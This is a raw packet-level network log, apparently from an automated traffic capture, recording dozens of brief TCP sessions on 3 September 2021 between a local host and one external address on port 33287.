Sep 3, 2021 10:58:00.298556089 CEST	49968	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.371237040 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.405095100 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.405323029 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.406130075 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.439874887 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.439905882 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.440220118 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.477041960 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.477257967 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.477916956 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.551222086 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.560863972 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.594916105 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.595238924 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.595254898 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.596318960 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.597393036 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.597436905 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.633728981 CEST	33287	49969	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.634737015 CEST	49969	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.715485096 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.754297972 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.754638910 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.756083012 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.792463064 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.792503119 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.793674946 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.831188917 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.831532955 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.832204103 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.836334944 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.872836113 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.873439074 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.873956919 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.873989105 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:00.874474049 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:00.981115103 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.017616987 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.017810106 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.018640995 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.055263996 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.055413008 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.055545092 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.092257977 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.092468023 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.092947006 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.095808029 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.131809950 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.132349968 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.132366896 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.132456064 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.132488966 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.133167028 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.133197069 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.169526100 CEST	33287	49971	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.169626951 CEST	49971	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.252717972 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.285470963 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.285674095 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.286339045 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.319180012 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.319204092 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.319380045 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.353593111 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.353708982 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.354382038 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.358612061 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.391380072 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.391762018 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.391797066 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.391872883 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.392414093 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.392430067 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.425278902 CEST	33287	49972	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.425446033 CEST	49972	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.496942043 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.533269882 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.533402920 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.534235001 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.572485924 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.572506905 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.572696924 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.608562946 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.608675957 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.609230042 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.613843918 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.649772882 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.650320053 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.650382996 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.650455952 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.650506973 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.652409077 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.652445078 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.688539982 CEST	33287	49973	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.688667059 CEST	49973	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.762655973 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.795530081 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.795625925 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.796679974 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.829674959 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.829699993 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.829848051 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.864252090 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.864346981 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.865444899 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.868482113 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.905292034 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.905330896 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.905344009 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.905493975 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.907044888 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.907085896 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:01.942207098 CEST	33287	49974	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:01.942348957 CEST	49974	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.013178110 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.046431065 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.046612978 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.047558069 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.086803913 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.086821079 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.086981058 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.126296043 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.129390001 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.129421949 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.132941008 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.173610926 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.173717976 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.173775911 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.174005032 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.174067020 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.174374104 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.174407005 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.212289095 CEST	33287	49975	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.212801933 CEST	49975	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.280654907 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.317076921 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.317291021 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.318355083 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.354342937 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.354367971 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.354525089 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.390175104 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.390286922 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.390815020 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.394560099 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.433392048 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.433430910 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.433445930 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.433526993 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.433584929 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.434515953 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.434535980 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.470575094 CEST	33287	49976	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.471600056 CEST	49976	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.543610096 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.576587915 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.576749086 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.577516079 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.610604048 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.610630989 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.610744953 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.643587112 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.645137072 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.645631075 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.648319960 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.681294918 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.681673050 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.681695938 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.681804895 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.681847095 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.682543993 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.682563066 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.717679977 CEST	33287	49977	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.719353914 CEST	49977	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.795669079 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.833842993 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.834008932 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.834893942 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.870524883 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.870949030 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.871135950 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.906968117 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.908056021 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.908679008 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.913187981 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.957369089 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.957380056 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.957391024 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:02.958976030 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.961935997 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.961963892 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:02.999871969 CEST	33287	49978	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.004714012 CEST	49978	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.076105118 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.110074043 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.110785007 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.111852884 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.145210028 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.145231962 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.145353079 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.179153919 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.179337025 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.180444002 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.185755968 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.219795942 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.219818115 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.219840050 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.220016956 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.220067978 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.220700979 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.220765114 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.254981041 CEST	33287	49979	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.255157948 CEST	49979	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.324556112 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.361102104 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.361311913 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.362565041 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.397192955 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.397214890 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.397382021 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.432681084 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.432840109 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.433614969 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.440294027 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.473733902 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.473754883 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.473898888 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.474246025 CEST	33287	49980	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.474888086 CEST	49980	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.592808008 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.592840910 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.594901085 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.628959894 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.630690098 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.631443024 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.632761955 CEST	33287	49970	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.633099079 CEST	49970	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.664637089 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.664658070 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.665225983 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.698904037 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.700064898 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.700095892 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.705012083 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.739773989 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.739809990 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.739821911 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.740050077 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.742660046 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.742697001 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.778172016 CEST	33287	49981	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.778356075 CEST	49981	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.856288910 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.889592886 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.889700890 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.890424013 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.925158978 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.925188065 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.925302029 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.959558964 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.959887028 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.960473061 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.964554071 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.997622013 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.997802973 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.997867107 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:03.997929096 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.997976065 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.998502016 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:03.998529911 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.031400919 CEST	33287	49982	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.031568050 CEST	49982	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.107111931 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.139955997 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.141520023 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.141649008 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.174211979 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.174796104 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.175033092 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.207932949 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.208149910 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.208986998 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.214735031 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.247690916 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.247953892 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.247976065 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.248076916 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.248111963 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.248774052 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.248861074 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.281788111 CEST	33287	49983	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.281908989 CEST	49983	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.356267929 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.394706964 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.394943953 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.395699978 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.431838989 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.431879044 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.432101011 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.469113111 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.469244003 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.469836950 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.473790884 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.512267113 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.512866020 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.512932062 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.512984037 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.513025045 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.513645887 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.513674974 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.550909996 CEST	33287	49984	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.551096916 CEST	49984	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.622422934 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.658051968 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.658268929 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.659056902 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.694585085 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.696804047 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.698107958 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.734697104 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.734870911 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.735454082 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.740732908 CEST	49985	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:58:04.776911020 CEST	33287	49985	185.156.73.37	192.168.2.5
Sep 3, 2021 10:58:04.777858019 CEST	33287	49985	185.156.73.37	192.168.2.5
